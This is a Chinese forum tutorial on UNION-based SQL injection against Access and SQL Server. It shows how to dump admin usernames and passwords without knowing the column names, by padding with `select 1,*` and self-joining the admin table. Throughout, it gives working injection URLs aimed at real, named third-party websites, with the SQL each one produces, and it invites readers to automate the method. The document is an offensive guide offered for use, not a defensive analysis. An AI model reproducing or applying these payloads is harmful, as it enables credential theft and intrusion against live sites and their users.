直接获取access、SQL Server等数据库数据
当使用SQL注入access的时候,经常会遇到密码为中文、猜不到关键字段名这样的问题。使用本技术就能够很快速的解决这样的问题。本技术最低要求有两条:[align=center][table][tr][td=1,1,510]1.使用access数据库的系统存在SQL注入漏洞;mssql数据库也支持这个技术
2.需要知道欲爆数据所在的表的表名以及这个表下的一个字段名,一般都是id字段[/td][/tr][/table][/align]
使用本技术显而易见的优势在于:
[align=center][table][tr][td=1,1,510]1.可以不需要'引号,过滤'引号对本技术没有影响
2.可以快速的知道敏感数据的内容,而不必像以往一样慢慢的猜解,中文、特殊字符等等都通杀
3.在SQL Server屏蔽了错误信息之后仍然可以快速得到敏感数据内容
4.可以在不知道关键(欲知数据的)字段名的情况下仍然能够获取到欲知数据[/td][/tr][/table][/align]
咋一看可能这个技术很难,其实很简单。一共有两个难点,一般的第一个难点在看到结果以后都很容易想到,但是第二个难点却的确有点点麻烦。
首先看一个表格,是union的语法。这也是爆出数据的主要原理。如下图所示:
[font=宋体]当我们使用[/font]SQL Inject[font=宋体]技术插入[/font]union[font=宋体]语句以后,只要两个[/font]select[font=宋体]查询得到的列数相同,那么整条[/font]SQL[font=宋体]语句执行完成以后,得到的查询结果就变成了[/font]union[font=宋体]后面[/font]select[font=宋体]得到的数据。所以就有可能将我们所需要的数据爆出来。来看一个简单的例子:[/font]
[u]http://www.chinakj.com/SoftView.asp?SoftID=3903%20union%20select%20username,password,1,1,1%20from%20admin[/u]
[font=宋体]这是一个[/font]SQL Server[font=宋体]的服务器,关闭了错误信息的回报,所以不能够按照以往的方法直接得到敏感数据。通过[/font]SQL Inject[font=宋体]插入[/font]union[font=宋体]语句以后,可以大胆的猜测到所执行的[/font]SQL[font=宋体]语句变成了:[/font]
select * from Soft where SoftID=3903 union select username,password,1,1,1 from admin
[font=宋体]那么在正常情况下显示[/font]Soft[font=宋体]第[/font]1[font=宋体]、[/font]2[font=宋体]个字段值得地方就会显示[/font]admin[font=宋体]的[/font]username[font=宋体]和[/font]password[font=宋体]字段,后面的[/font]3[font=宋体]个[/font]1[font=宋体]也是同理替代了。按照这个特性,我们当然也可以直接得到[/font]Admin_UserInfo[font=宋体]表里面的[/font]username[font=宋体]和[/font]password[font=宋体]字段。构造的语句如下所示:[/font]
[u]http://www.chinakj.com/SoftView.asp?SoftID=3903%20union%20select%20username,password,1,1,1%20from%20Admin_UserInfo%20where%20username<>''[/u]
[font=宋体]以上就是简单的利用[/font]union[font=宋体]来实现对敏感数据的获取,而不通过复杂的暴力拆解。为了实现在不知道字段名同样能够得到其中的数据这个目的的时候,我们当然就应该想到使用[/font]*[font=宋体]来代替字段名。这样只要[/font]*[font=宋体]所代表的字段再加上几个[/font]1[font=宋体]的数目和脚本中的[/font]select[font=宋体]查询表中的字段数目相同,那么就同样可以得到不知道字段名的数据了。[/font]
[font=宋体]考虑到这样一种情况,有这样一条语句:[/font]select id,hit,softname,softURL from soft where id=10[font=宋体]。其中能够在网页中正常显示出来的字段是[/font]softname[font=宋体]和[/font]softURL[font=宋体],那么我们在使用[/font]union[font=宋体]的时候就应该调整[/font]*[font=宋体]所在的位置,一般[/font]admin[font=宋体]表中结构为[/font]id username password[font=宋体],那么在注入上面这条假设的语句的时候就应该这样构造[/font]SQL[font=宋体]语句:[/font]select 1,* from admin[font=宋体]。使[/font]*[font=宋体]所代替的[/font]username[font=宋体]和[/font]pssword[font=宋体]字段处于[/font]softname[font=宋体]和[/font]softURL[font=宋体]两个字段的位置上,这样网页才能够将我们想要得[/font]username[font=宋体]和[/font]password[font=宋体]字段乖乖的交出来。当然这里只是最简单的一个例子来说明,有很多时候一个表里面可能有十几个字段,我遇到最长的是四十三个字段。那么脚本中使用[/font]select *[font=宋体]来做查询的话,我们在构造[/font]union select[font=宋体]就应该用[/font]1[font=宋体]凑数到四十三个字段。其中当然是会有一些字段不被网页显示出来,这就需要考虑[/font]union select[font=宋体]后面的[/font]*[font=宋体]号所在的位置了。相信这个应该不用我多说了。[/font]
[font=宋体]上面说的语法完全符合[/font]SQL Server[font=宋体]。但是[/font]Access[font=宋体]和[/font]SQL Server[font=宋体]相比较,真的是小巫见大巫了。在[/font]SQL Server[font=宋体]里面,当我们使用[/font]select *,1,1,1 from admin[font=宋体]语句查询得到的记录集合分别是:[/font]* 1 1 1[font=宋体]。但是在[/font]access[font=宋体]当中上面的这条语句查询的结果是[/font]1 1 1 *[font=宋体],也就是说无论你将[/font]*[font=宋体]号处于这群[/font]1[font=宋体]中间的什么位置上,[/font]*[font=宋体]所代表的数据总是处于查询结果的最后面。用一个复杂点的例子作说明:[/font]
[u]http://www.hnp2p.com/mov/view.asp?id=1916%20union%20(select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16%20from%20admin)[/u]
[font=宋体]这个站点使用的是[/font]access[font=宋体]数据库,可以看到能够正常显示出来的字段是[/font]2[font=宋体]、[/font]3[font=宋体]、[/font]7[font=宋体]、[/font]8[font=宋体]、[/font]10[font=宋体]、[/font]11[font=宋体],而后面的字段却不会显示出来,去掉[/font]14,15,16[font=宋体]换上[/font]*[font=宋体]号,页面同样显示出数字,也就是说[/font]admin[font=宋体]中的字段数是三个,肯定是[/font]id username password[font=宋体]这种结构,但是除了[/font]id[font=宋体]字段其他的字段都不能够被猜测出名字。按照在上面[/font]SQL Server[font=宋体]中所使用的方法移动[/font]*[font=宋体]号的位置以求能够将敏感数据爆出来,在[/font]access[font=宋体]中是不可行的。原因是[/font]access[font=宋体]始终将[/font]*[font=宋体]好所代替的字段放在查询数据集的最后面。[/font]Access[font=宋体]查询出来的结果永远都是:[/font]1,2,3,4,5,6,7,8,9,10,11,12,13[font=宋体],[/font]*[font=宋体]这个样子。为了将[/font]*[font=宋体]好所代替的字段表示出来,我们必须将[/font]*[font=宋体]所代替的字段移动到其他位置上。先看结果:[/font]
[u]http://www.hnp2p.com/mov/view.asp?id=1916%20union%20select%201,*%20from%20(((admin%20as%20a%20inner%20join%20admin%20as%20b%20on%20a.id=b.id)%20inner%20join%20admin%20as%20c%20on%20c.id=b.id)%20inner%20join%20admin%20as%20d%20on%20d.id=c.id)%20inner%20join%20admin%20as%20e%20on%20d.id=e.id[/u]
[font=宋体]通过这样构造的语句的执行,最终查询得到的数据形式是[/font]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
1,a.id a.name a.pwd b.id b.name b.pwd c.id c.name c.pwd d.id d.name d.pwd e.id e.name e.pwd
[font=宋体]其中第[/font]3[font=宋体]和第[/font]7[font=宋体]个字段正好就是我们想要得[/font]username[font=宋体]和[/font]password[font=宋体]字段的值。这里我使用的是[/font]join[font=宋体]语法,将两个表连接(相加)起来从而构造得到这样的一个满足我们要求的查询结果。[/font]
Join[font=宋体]分为全部连接、左连接和右连接,具体区别可以去查看[/font]SQL[font=宋体]语法。在这里,[/font]access[font=宋体]中我们不管选择哪一种连接方式效果都等同于全部连接。看一个简单的[/font]join[font=宋体]语法[/font]
[align=center][table][tr][td=1,1,510]SELECT *
FROM [font=宋体](表[/font]1 INNER JOIN [font=宋体]表[/font]2 ON [font=宋体]表[/font]1.[font=宋体]序号[/font]=[font=宋体]表[/font]2.[font=宋体]序号)[/font]
INNER JOIN [font=宋体]表[/font]3
ON [font=宋体]表[/font]1.[font=宋体]序号[/font]=[font=宋体]表[/font]3.[font=宋体]序号[/font]
[/td][/tr][/table][/align]
[font=宋体]转换为实例就是:[/font]
[align=center][table][tr][td=1,1,510]select 1,2,3,4,*
from ((admin as a inner join admin as b on a.id=b.id)
inner join admin as c on c.id=b.id)
inner join admin as d on d.id=c.id
[/td][/tr][/table][/align]
[font=宋体]按照这种格式就可以把上面的那个[/font]url[font=宋体]真正执行的[/font]SQL[font=宋体]语句解出来,无非就是不断的使用[/font]join[font=宋体]连接数据表[/font]admin[font=宋体],然后通过[/font]1[font=宋体]来补齐前面的字段数目。只要语句构建得当,那么不知道字段名的数据全部都能够在页面中显示出来。这就是这个技术的难点所在了。[/font]
[font=宋体]好了,全部都介绍完了。如果想把这个技术写成程序的话,也是很有可能的。只不过在语句结构构造的时候最好还是使用人脑吧[/font]~~~
页:
[1]